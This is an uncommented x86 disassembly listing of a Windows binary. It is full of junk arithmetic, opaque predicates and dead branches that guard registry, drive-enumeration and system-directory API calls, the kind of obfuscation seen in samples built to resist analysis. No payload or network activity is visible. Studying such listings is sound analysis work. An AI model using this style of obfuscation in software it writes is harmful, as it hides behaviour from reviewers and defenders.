and dword [ebp - 0x1cb8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x22d4]
cmp eax, dword [ebp - 0x1cb8]
jne 0x455a91
mov dword [ebp - 0xfc0], 1
jmp 0x455a98
and dword [ebp - 0xfc0], 0
mov eax, dword [ebp - 0xfc0]
sub eax, dword [ebp - 0x280]
sub eax, dword [ebp - 0x280]
jne 0x455abc
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x22d4], 0
je 0x455ac3
push 0xfffffffffffffffe
pop eax
test eax, eax
jne 0x455acc
and dword [ebp - 0x1cc0], 0
jmp 0x455ad6
mov dword [ebp - 0x1cc0], 1
mov eax, dword [ebp - 0x280]
cmp eax, dword [ebp - 0x1cc0]
jg 0x455af0
mov dword [ebp - 0xfc8], 1
jmp 0x455af7
and dword [ebp - 0xfc8], 0
mov eax, dword [ebp - 0x280]
cmp dword [ebp - 0xfc8], eax
jl 0x455b11
mov dword [ebp - 0x1cc8], 1
jmp 0x455b18
and dword [ebp - 0x1cc8], 0
mov eax, dword [ebp - 0x1cc8]
mov dword [ebp - 0x588], eax
mov dword [ebp - 0x588], 1
jmp 0x455b3d
mov eax, dword [ebp - 0x588]
dec eax
mov dword [ebp - 0x588], eax
cmp dword [ebp - 0x588], 0
jl 0x455ba8
mov dword [ebp - 0x280], 1
jmp 0x455b5f
mov eax, dword [ebp - 0x280]
dec eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0
jl 0x455b8a
mov byte [ebp - 0x31d], 0
movzx eax, byte [ebp - 0x31d]
test eax, eax
je 0x455b88
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
jmp 0x455b52
mov byte [ebp - 0x31f], 0
movzx eax, byte [ebp - 0x31f]
test eax, eax
je 0x455ba6
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
jmp 0x455b30
movzx eax, byte [ebp - 0x321]
test eax, eax
je 0x455d0c
mov dword [ebp - 0x8e4], 0x69fdf99f
mov dword [ebp - 0x2cc4], 0
mov dword [ebp - 0x184], 0
jmp 0x455be4
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 2
jge 0x455c00
mov eax, dword [ebp - 0x184]
mov dword [ebp + eax*4 - 0x346c], 5
jmp 0x455bd7
mov dword [ebp - 0x184], 0
jmp 0x455c19
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 3
jge 0x455c35
mov eax, dword [ebp - 0x184]
mov dword [ebp + eax*4 - 0x2fb8], 0x96ce
jmp 0x455c0c
mov dword [ebp - 0x8e4], 0xffffffe4
jmp 0x455c4e
mov eax, dword [ebp - 0x8e4]
inc eax
mov dword [ebp - 0x8e4], eax
cmp dword [ebp - 0x8e4], 0x16
jge 0x455d06
mov dword [ebp - 0x2ccc], 0
mov dword [ebp - 0x2cd4], 0xeb7161ab
mov dword [ebp - 0x2cdc], 3
mov dword [ebp - 0x2ce4], 0x34f09465
mov dword [ebp - 0x2cec], 0x5aa96141
mov dword [ebp - 0x2cf4], 6
mov dword [ebp - 0x714], 0
jmp 0x455cb0
mov eax, dword [ebp - 0x714]
inc eax
mov dword [ebp - 0x714], eax
cmp dword [ebp - 0x714], 4
jge 0x455ccc
mov eax, dword [ebp - 0x714]
mov dword [ebp + eax*4 - 0x360c], 0xc619a80b
jmp 0x455ca3
mov byte [ebp - 0x323], 0
movzx eax, byte [ebp - 0x323]
test eax, eax
je 0x455ce6
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2fb8]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2fb8], eax
jmp 0x455c41
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [ebp - 0x23c], 0xbac64a68
mov dword [ebp - 0x23c], 0
jmp 0x455d2f
mov eax, dword [ebp - 0x23c]
dec eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0xfffffffd
jg 0x455e60
mov dword [ebp - 0x368], 0xffffffff
mov dword [ebp - 0x368], 0xfffffff7
jmp 0x455d5f
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 0xfffffffd
jne 0x455e5b
mov dword [ebp - 0x650], 4
mov dword [ebp - 0x27bc], 0x30a4ccfd
mov eax, 0x9d44c039
sub eax, dword [ebp - 0x368]
cmp eax, dword [ebp - 0x650]
je 0x455d9f
mov dword [ebp - 0xfd0], 1
jmp 0x455da6
and dword [ebp - 0xfd0], 0
mov eax, dword [ebp - 0x368]
add eax, dword [ebp - 0xfd0]
cmp eax, dword [ebp - 0x650]
jne 0x455dc6
mov dword [ebp - 0x1cd0], 1
jmp 0x455dcd
and dword [ebp - 0x1cd0], 0
mov eax, dword [ebp - 0x23c]
add eax, dword [ebp - 0x23c]
mov ecx, dword [ebp - 0x1cd0]
neg ecx
cmp eax, ecx
jl 0x455df1
mov dword [ebp - 0xfd8], 1
jmp 0x455df8
and dword [ebp - 0xfd8], 0
mov eax, dword [ebp - 0x650]
cmp dword [ebp - 0xfd8], eax
jge 0x455e12
mov dword [ebp - 0x1cd8], 1
jmp 0x455e19
and dword [ebp - 0x1cd8], 0
imul eax, dword [ebp - 0x1cd8], 0x13b2
mov dword [ebp - 0x650], eax
mov eax, dword [ebp - 0x368]
cmp dword [ebp - 0x650], eax
je 0x455e43
mov dword [ebp - 0xfe0], 1
jmp 0x455e4a
and dword [ebp - 0xfe0], 0
mov eax, dword [ebp - 0xfe0]
mov dword [ebp - 0x27bc], eax
jmp 0x455d52
jmp 0x455d22
cmp dword [ebp - 0x23c], 0
je 0x455e7e
cmp dword [ebp - 0x23c], 0
je 0x455e7e
mov dword [ebp - 0x1ce0], 1
jmp 0x455e85
and dword [ebp - 0x1ce0], 0
mov eax, dword [ebp - 0x1ce0]
mov dword [ebp - 0x23c], eax
mov dword [ebp - 0x8ec], 2
jmp 0x455eaa
cmp dword [ebp - 0x8ec], 0
jl 0x4575e5
mov dword [ebp - 0x2cfc], 2
mov byte [ebp - 0x325], 0
movzx eax, byte [ebp - 0x325]
test eax, eax
je 0x455ee5
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov byte [ebp - 0x327], 0
movzx eax, byte [ebp - 0x327]
test eax, eax
je 0x455f03
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
mov dword [ebp - 0x51c], 0x8901f2c
mov dword [ebp - 0x18c], 0
jmp 0x455f26
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 2
jge 0x455f42
mov eax, dword [ebp - 0x18c]
mov dword [ebp + eax*4 - 0xce4], 1
jmp 0x455f19
mov dword [ebp - 0x18c], 0
jmp 0x455f5b
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 4
jge 0x455f77
mov eax, dword [ebp - 0x18c]
mov dword [ebp + eax*4 - 0x365c], 0x3dd61fb9
jmp 0x455f4e
mov dword [ebp - 0x51c], 1
jmp 0x455f90
mov eax, dword [ebp - 0x51c]
dec eax
mov dword [ebp - 0x51c], eax
cmp dword [ebp - 0x51c], 0
jl 0x4561a8
mov dword [ebp - 0x2d8], 0x54fddd3f
mov dword [ebp - 0x27cc], 5
mov dword [ebp - 0x27d4], 1
mov byte [ebp - 0x329], 0
movzx eax, byte [ebp - 0x329]
test eax, eax
je 0x455fdc
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRgn]
mov dword [ebp - 0x2d8], 1
jmp 0x455ff5
mov eax, dword [ebp - 0x2d8]
dec eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 0
jl 0x4561a3
mov dword [ebp - 0x27c4], 0x2c25fcc5
mov dword [ebp - 0x1000], 0xffffffff
mov eax, dword [ebp - 0x2d8]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xce4]
cmp dword [ebp + eax*4 - 0xce4], ecx
jg 0x45603e
mov dword [ebp - 0xfe8], 1
jmp 0x456045
and dword [ebp - 0xfe8], 0
mov eax, dword [ebp - 0xfe8]
mov dword [ebp - 0x27c4], eax
mov eax, dword [ebp - 0x1000]
cmp dword [ebp - 0x2d8], eax
jg 0x45606b
mov dword [ebp - 0xff0], 1
jmp 0x456072
and dword [ebp - 0xff0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xce4]
imul eax, dword [ebp - 0x51c]
cmp eax, 0x7cdedfc3
jg 0x456099
mov dword [ebp - 0x1ce8], 1
jmp 0x4560a0
and dword [ebp - 0x1ce8], 0
mov eax, dword [ebp - 0x2d8]
mov eax, dword [ebp + eax*4 - 0xce4]
cmp eax, dword [ebp - 0x1ce8]
jl 0x4560ce
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xce4], 0
jne 0x4560ce
and dword [ebp - 0x1cf0], 0
jmp 0x4560d8
mov dword [ebp - 0x1cf0], 1
mov eax, dword [ebp - 0xff0]
imul eax, dword [ebp - 0x1cf0]
test eax, eax
je 0x45610e
cmp dword [ebp - 0x2d8], 0
je 0x45610e
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xce4], 0
je 0x45610e
mov dword [ebp - 0xff8], 1
jmp 0x456115
and dword [ebp - 0xff8], 0
cmp dword [ebp - 0xff8], 0xffffffff
je 0x45612a
mov dword [ebp - 0x1cf8], 1
jmp 0x456131
and dword [ebp - 0x1cf8], 0
mov eax, dword [ebp - 0x1cf8]
dec eax
cmp eax, 0xfffffff9
jne 0x456149
mov dword [ebp - 0x1d00], 1
jmp 0x456150
and dword [ebp - 0x1d00], 0
mov eax, dword [ebp - 0x1000]
cmp dword [ebp - 0x1d00], eax
je 0x45616a
mov dword [ebp - 0x1008], 1
jmp 0x456171
and dword [ebp - 0x1008], 0
mov eax, dword [ebp - 0x27cc]
cmp dword [ebp - 0x1008], eax
jne 0x45618b
mov dword [ebp - 0x1d08], 1
jmp 0x456192
and dword [ebp - 0x1d08], 0
mov eax, dword [ebp - 0x1d08]
mov dword [ebp - 0x27d4], eax
jmp 0x455fe8
jmp 0x455f83
mov dword [ebp - 0x51c], 0x623b26d5
mov byte [ebp - 0x32b], 0
mov dword [ebp - 0x1d10], 0xfffffffc
mov dword [ebp - 0x600], 0xfffffffd
mov dword [ebp - 0x1ec], 0
jmp 0x4561e6
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 1
jge 0x456202
mov eax, dword [ebp - 0x1ec]
mov dword [ebp + eax*4 - 0x88], 0xd29729cf
jmp 0x4561d9
mov dword [ebp - 0x1ec], 0
jmp 0x45621b
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 1
jge 0x456237
mov eax, dword [ebp - 0x1ec]
mov dword [ebp + eax*4 - 0x4b4], 0xffffffff
jmp 0x45620e
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x88], 4
jne 0x456253
mov dword [ebp - 0x1010], 1
jmp 0x45625a
and dword [ebp - 0x1010], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x88]
sub eax, dword [ebp - 0x1010]
mov dword [ebp - 0x1d10], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x88]
mov dword [ebp - 0x600], eax
mov eax, dword [ebp - 0x600]
mov dword [ebp - 0x1018], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1018]
mov dword [ebp + eax - 0x4b4], ecx
mov eax, dword [ebp - 0x1d10]
cmp eax, dword [ebp - 0x1018]
jne 0x4562bf
mov dword [ebp - 0x1d18], 1
jmp 0x4562c6
and dword [ebp - 0x1d18], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x88]
cmp dword [ebp - 0x1d18], eax
jg 0x4562e7
mov dword [ebp - 0x27dc], 1
jmp 0x4562ee
and dword [ebp - 0x27dc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x88]
mov dword [ebp - 0x2d04], eax
mov eax, dword [ebp - 0x600]
mov dword [ebp - 0x2d0c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x88]
mov dword [ebp - 0x2d14], eax
mov eax, dword [ebp - 0x600]
add eax, 0xf6cc
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x88]
jge 0x456346
mov dword [ebp - 0x1020], 1
jmp 0x45634d
and dword [ebp - 0x1020], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x88]
cmp dword [ebp - 0x1020], eax
jl 0x456378
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x4b4], 1
jmp 0x456539
mov dword [ebp - 0x590], 0xfffffffb
mov dword [ebp - 0x71c], 0
jmp 0x45639b
mov eax, dword [ebp - 0x71c]
inc eax
mov dword [ebp - 0x71c], eax
cmp dword [ebp - 0x71c], 2
jge 0x4563b7
mov eax, dword [ebp - 0x71c]
mov dword [ebp + eax*4 - 0x2324], 0x928694a2
jmp 0x45638e
mov eax, dword [ebp - 0x590]
mov dword [ebp - 0x2d1c], eax
mov eax, dword [ebp - 0x590]
mov dword [ebp - 0x2d24], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4b4]
mov dword [ebp - 0x2d2c], eax
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x2324]
cmp dword [ebp + eax - 0x2324], ecx
jle 0x456407
mov eax, 0x983c17a3
test eax, eax
jne 0x456420
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x88], 0
jne 0x456420
and dword [ebp - 0x1d20], 0
jmp 0x45642a
mov dword [ebp - 0x1d20], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x88]
cmp dword [ebp - 0x1d20], eax
je 0x45644b
mov dword [ebp - 0x1028], 1
jmp 0x456452
and dword [ebp - 0x1028], 0
mov eax, dword [ebp - 0x1028]
neg eax
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x2324]
jne 0x456475
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x4b4]
cmp dword [ebp + eax - 0x4b4], ecx
jl 0x456561
mov dword [ebp - 0x1048], 1
jmp 0x456568
and dword [ebp - 0x1048], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x88], 0
je 0x456594
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x88], 0
je 0x456594
mov dword [ebp - 0x1d40], 1
jmp 0x45659b
and dword [ebp - 0x1d40], 0
mov eax, dword [ebp - 0x1d40]
mov dword [ebp - 0x600], eax
xor eax, eax
inc eax
cmp eax, 0xffff
je 0x4565bd
mov dword [ebp - 0x1d48], 1
jmp 0x4565c4
and dword [ebp - 0x1d48], 0
mov eax, dword [ebp - 0x1048]
cmp eax, dword [ebp - 0x1d48]
jne 0x4565de
mov dword [ebp - 0x1050], 1
jmp 0x4565e5
and dword [ebp - 0x1050], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1050]
mov dword [ebp + eax - 0x4b4], ecx
movzx eax, byte [ebp - 0x32b]
test eax, eax
je 0x456b27
mov dword [ebp - 0x2ec8], 0xffffffff
mov byte [ebp - 0x2ec], 0
movzx eax, byte [ebp - 0x2ec]
test eax, eax
je 0x457607
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov byte [ebp - 0x43a], 0
movzx eax, byte [ebp - 0x43a]
test eax, eax
je 0x457629
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
push 1
lea eax, [ebp - 0x3548]
push eax
xor edx, edx
inc edx
xor ecx, ecx
call fcn.004515e5
pop ecx
pop ecx
mov esi, eax
lea edi, [ebp - 0x33b4]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea esi, [ebp - 0x33b4]
lea edi, [ebp - 0x29b4]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x38], 0x7e8b72fd
mov dword [ebp - 0x1160], 0
mov dword [ebp - 0x5a0], 1
mov dword [ebp - 0xb08], 1
mov dword [ebp - 0x608], 0xfffb
mov dword [ebp - 0x914], 0
jmp 0x4576a0
mov eax, dword [ebp - 0x914]
inc eax
mov dword [ebp - 0x914], eax
cmp dword [ebp - 0x914], 1
jge 0x4576bc
mov eax, dword [ebp - 0x914]
mov dword [ebp + eax*4 - 0x290], 1
jmp 0x457693
cmp dword [ebp - 0x38], 0
jne 0x4576e6
mov eax, dword [ebp - 0x1160]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x5a0], eax
cmp dword [ebp - 0x5a0], 0
jne 0x4576e6
and dword [ebp - 0x1130], 0
jmp 0x4576f0
mov dword [ebp - 0x1130], 1
mov eax, dword [ebp - 0x608]
dec eax
mov dword [ebp - 0x608], eax
xor eax, eax
inc eax
sub eax, dword [ebp - 0x608]
neg eax
cmp eax, dword [ebp - 0xb08]
jge 0x45771c
mov dword [ebp - 0x1e30], 1
jmp 0x457723
and dword [ebp - 0x1e30], 0
mov eax, dword [ebp - 0x1130]
add eax, dword [ebp - 0x1e30]
mov dword [ebp - 0xb08], eax
je 0x457a66
mov dword [ebp - 0x4fc], 1
mov dword [ebp - 0x378], 6
mov dword [ebp - 0x744], 0xd89188b9
mov dword [ebp - 0x290c], 0xa07e09fa
mov dword [ebp - 0x38], 0
jmp 0x457773
mov eax, dword [ebp - 0x38]
dec eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jl 0x457948
mov eax, dword [ebp - 0x744]
mov dword [ebp - 0x2ed0], eax
xor eax, eax
inc eax
je 0x4577a3
cmp dword [ebp - 0x5a0], 0
je 0x4577a3
mov dword [ebp - 0x1138], 1
jmp 0x4577aa
and dword [ebp - 0x1138], 0
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x290]
cmp dword [ebp - 0x1138], eax
jge 0x4577c8
mov dword [ebp - 0x1e38], 1
jmp 0x4577cf
and dword [ebp - 0x1e38], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x290]
cmp dword [ebp - 0x1e38], eax
jle 0x4577f0
mov dword [ebp - 0x1140], 1
jmp 0x4577f7
and dword [ebp - 0x1140], 0
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x290]
cmp dword [ebp - 0x1140], eax
je 0x457815
mov dword [ebp - 0x1e40], 1
jmp 0x45781c
and dword [ebp - 0x1e40], 0
mov eax, dword [ebp - 0x378]
mov dword [ebp - 0x2ed8], eax
mov eax, dword [ebp - 0x1e40]
mov dword [ebp - 0x5a0], eax
mov eax, dword [ebp - 0x5a0]
mov dword [ebp - 0x2ee0], eax
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x608]
cmp dword [ebp + eax*4 - 0x290], ecx
je 0x457862
push 2
pop eax
test eax, eax
jne 0x457862
and dword [ebp - 0x2904], 0
jmp 0x45786c
mov dword [ebp - 0x2904], 1
cmp dword [ebp - 0x744], 0
jne 0x45788b
mov eax, dword [ebp - 0x38]
cmp dword [ebp + eax*4 - 0x290], 0
jne 0x45788b
and dword [ebp - 0x1148], 0
jmp 0x457895
mov dword [ebp - 0x1148], 1
mov eax, dword [ebp - 0x744]
cmp dword [ebp - 0x1148], eax
jl 0x4578af
mov dword [ebp - 0x1e48], 1
jmp 0x4578b6
and dword [ebp - 0x1e48], 0
mov eax, dword [ebp - 0x378]
imul eax, dword [ebp - 0x1e48]
mov ecx, dword [ebp - 0x38]
cmp eax, dword [ebp + ecx*4 - 0x290]
jge 0x4578db
mov dword [ebp - 0x1150], 1
jmp 0x4578e2
and dword [ebp - 0x1150], 0
mov eax, dword [ebp - 0x378]
cmp dword [ebp - 0x1150], eax
jle 0x4578fc
mov dword [ebp - 0x1e50], 1
jmp 0x457903
and dword [ebp - 0x1e50], 0
mov eax, dword [ebp - 0x4fc]
inc eax
mov dword [ebp - 0x4fc], eax
mov eax, dword [ebp - 0x4fc]
cmp eax, dword [ebp - 0x1e50]
jl 0x45792a
mov dword [ebp - 0x1158], 1
jmp 0x457931
and dword [ebp - 0x1158], 0
mov eax, dword [ebp - 0x744]
add eax, dword [ebp - 0x1158]
mov dword [ebp - 0x378], eax
jmp 0x45776c
mov eax, dword [ebp - 0x378]
mov dword [ebp - 0x2ee8], eax
mov eax, dword [ebp - 0x4fc]
mov dword [ebp - 0x2ef0], eax
cmp dword [ebp - 0x4fc], 0xffffffff
jne 0x457975
mov dword [ebp - 0x1e58], 1
jmp 0x45797c
and dword [ebp - 0x1e58], 0
mov eax, dword [ebp - 0x1e58]
sub eax, 0x6067d11b
cmp eax, dword [ebp - 0x4fc]
je 0x45799b
mov dword [ebp - 0x1e60], 1
jmp 0x4579a2
and dword [ebp - 0x1e60], 0
mov eax, dword [ebp - 0x1160]
add eax, dword [ebp - 0x1e60]
add eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x2ef8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x290]
mov dword [ebp - 0x2f00], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x290], 4
je 0x4579e9
mov dword [ebp - 0x1168], 1
jmp 0x4579f0
and dword [ebp - 0x1168], 0
cmp dword [ebp - 0x1168], 0xbb76
jge 0x457a08
mov dword [ebp - 0x1e68], 1
jmp 0x457a0f
and dword [ebp - 0x1e68], 0
cmp dword [ebp - 0x1e68], 1
jne 0x457a24
mov dword [ebp - 0x1170], 1
jmp 0x457a2b
and dword [ebp - 0x1170], 0
mov eax, dword [ebp - 0x608]
cmp dword [ebp - 0x1170], eax
je 0x457a45
mov dword [ebp - 0x1e70], 1
jmp 0x457a4c
and dword [ebp - 0x1e70], 0
mov eax, dword [ebp - 0x1e70]
mov dword [ebp - 0x378], eax
mov eax, dword [ebp - 0x378]
mov dword [ebp - 0x290c], eax
jmp 0x457a85
mov byte [ebp - 0x2ee], 0
movzx eax, byte [ebp - 0x2ee]
test eax, eax
je 0x457a85
push 0x27d
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov dword [ebp - 0x2d0], 5
mov dword [ebp - 0x91c], 0xfffffffa
mov dword [ebp - 0x98], 0xe6da504
mov dword [ebp - 0x154], 0xfffffff9
mov dword [ebp - 0xbd0], 0x9dbc9b78
mov eax, dword [ebp - 0x2d0]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x2d0]
mov dword [ebp - 0x2f08], eax
cmp dword [ebp - 0x98], 0
je 0x457adf
cmp dword [ebp - 0x98], 0
cmp dword [ebp - 0x154], 0
jne 0x457afa
cmp dword [ebp - 0x154], 0
jne 0x457afa
and dword [ebp - 0x1178], 0
jmp 0x457b04
mov dword [ebp - 0x1178], 1
mov eax, dword [ebp - 0x154]
imul eax, dword [ebp - 0x1178]
cmp eax, dword [ebp - 0x154]
jle 0x457b25
mov dword [ebp - 0x1e78], 1
jmp 0x457b2c
and dword [ebp - 0x1e78], 0
mov eax, dword [ebp - 0x2d0]
cmp dword [ebp - 0x1e78], eax
jge 0x457b46
mov dword [ebp - 0x1180], 1
jmp 0x457b4d
and dword [ebp - 0x1180], 0
mov eax, dword [ebp - 0x2d0]
add eax, dword [ebp - 0x1180]
cmp dword [ebp - 0x98], 0
je 0x457b6e
mov dword [ebp - 0x2914], 1
jmp 0x457b75
and dword [ebp - 0x2914], 0
mov eax, dword [ebp - 0xbd0]
cmp dword [ebp - 0x2d0], eax
jne 0x457b8f
mov dword [ebp - 0x1e80], 1
jmp 0x457b96
and dword [ebp - 0x1e80], 0
mov eax, dword [ebp - 0x98]
imul eax, dword [ebp - 0x1e80]
cmp eax, 0xfffffff6
jge 0x457bb4
mov dword [ebp - 0x1188], 1
jmp 0x457bbb
and dword [ebp - 0x1188], 0
mov eax, dword [ebp - 0x1188]
neg eax
cmp eax, 0x5610
jl 0x457bd6
mov dword [ebp - 0x1e88], 1
jmp 0x457bdd
and dword [ebp - 0x1e88], 0
mov eax, dword [ebp - 0x2d0]
mov dword [ebp - 0x91c], eax
mov eax, dword [ebp - 0x91c]
cmp eax, dword [ebp - 0x1e88]
jle 0x457c03
mov dword [ebp - 0x1190], 1
jmp 0x457c0a
and dword [ebp - 0x1190], 0
cmp dword [ebp - 0x1190], 0x434a938f
jge 0x457c22
mov dword [ebp - 0x1e90], 1
jmp 0x457c29
and dword [ebp - 0x1e90], 0
mov eax, dword [ebp - 0x1e90]
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x98], 0
jmp 0x457c4e
cmp dword [ebp - 0x98], 0x2e
jge 0x457e79
mov dword [ebp - 0x4bc], 0x3f908025
mov dword [ebp - 0x74c], 0xfffffff7
mov dword [ebp - 0x1e98], 1
mov dword [ebp - 0x2928], 0
cmp dword [ebp - 0x4bc], 0
jne 0x457dee
mov eax, dword [ebp - 0x4bc]
mov dword [ebp - 0x2f10], eax
cmp dword [ebp - 0x98], 1
je 0x457cb1
mov dword [ebp - 0x1198], 1
jmp 0x457cb8
and dword [ebp - 0x1198], 0
mov eax, dword [ebp - 0x1198]
mov dword [ebp - 0x74c], eax
mov eax, dword [ebp - 0x74c]
mov dword [ebp - 0x91c], eax
mov eax, dword [ebp - 0x91c]
mov dword [ebp - 0x1e98], eax
mov eax, dword [ebp - 0x154]
cmp dword [ebp - 0x1e98], eax
jne 0x457cf6
mov eax, dword [ebp - 0x74c]
imul eax, dword [ebp - 0x4bc]
imul eax, eax, 0xf623
cmp eax, dword [ebp - 0xbd0]
jne 0x457e15
mov dword [ebp - 0x1eb8], 1
jmp 0x457e1c
and dword [ebp - 0x1eb8], 0
mov eax, dword [ebp - 0x1eb8]
sub eax, dword [ebp - 0x4bc]
sub eax, 0xc28b
cmp eax, dword [ebp - 0x154]
je 0x457e41
mov dword [ebp - 0x58], 8
mov dword [ebp - 0x1ec0], 0x67356a0b
mov dword [ebp - 0xb10], 1
mov dword [ebp - 0x2930], 0xb26d8f9c
mov dword [ebp - 0x158], 0
jmp 0x457eb7
cmp dword [ebp - 0x158], 3
jge 0x457ed3
mov eax, dword [ebp - 0x158]
mov dword [ebp + eax*4 - 0x29fc], 0xb26d5d64
jmp 0x457eaa
mov dword [ebp - 0x158], 0
jmp 0x457eec
cmp dword [ebp + 8], 1
jne 0x461948
mov dword [ebp - 0x4a8], 0
mov dword [ebp - 0x186c], 0xbdfadf62
mov dword [ebp - 0x2c90], 0x5b8b78ac
mov dword [ebp - 0x28b8], 0x96d402da
mov dword [ebp - 0x25a0], 0x6f79b347
mov dword [ebp - 0x86c], 0
jmp 0x45f559
mov eax, dword [ebp - 0x86c]
inc eax
mov dword [ebp - 0x86c], eax
cmp dword [ebp - 0x86c], 1
jge 0x45f575
mov eax, dword [ebp - 0x86c]
mov dword [ebp + eax*4 - 0xa48], 1
jmp 0x45f54c
mov dword [ebp - 0x4a8], 3
mov dword [ebp - 0x4a8], 0
jmp 0x45f598
mov eax, dword [ebp - 0x4a8]
dec eax
mov dword [ebp - 0x4a8], eax
cmp dword [ebp - 0x4a8], 0xfffffff4
jge 0x45f725
mov dword [ebp - 0xa50], 2
mov dword [ebp - 0xb80], 7
mov dword [ebp - 0x2598], 2
mov dword [ebp - 0x874], 0x14a5ea96
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0xa50], eax
cmp dword [ebp - 0x28b8], 0
je 0x45f625
xor eax, eax
inc eax
sub eax, dword [ebp - 0xa50]
cmp eax, dword [ebp - 0xa50]
jl 0x45f5ff
mov dword [ebp - 0x1864], 1
jmp 0x45f606
and dword [ebp - 0x1864], 0
mov eax, dword [ebp - 0x2598]
sub eax, dword [ebp - 0x1864]
cmp eax, 1
jg 0x45f625
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa48], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xa48]
cmp dword [ebp + eax - 0xa48], ecx
jle 0x45f64d
mov dword [ebp - 0x1d8c], 1
jmp 0x45f654
and dword [ebp - 0x1d8c], 0
mov eax, dword [ebp - 0x874]
inc eax
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
sub eax, dword [ebp - 0x1d8c]
mov dword [ebp - 0x27c8], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x27c8]
mov dword [ebp + eax - 0xa48], ecx
mov eax, dword [ebp - 0x25a0]
mov dword [ebp - 0x308c], eax
mov eax, dword [ebp - 0x874]
mov dword [ebp - 0x2be0], eax
mov eax, dword [ebp - 0xa50]
mov dword [ebp - 0x302c], eax
mov eax, dword [ebp - 0x186c]
cmp dword [ebp - 0x186c], eax
je 0x45f6c4
mov dword [ebp - 0x2188], 1
jmp 0x45f6cb
and dword [ebp - 0x2188], 0
mov eax, dword [ebp - 0xb80]
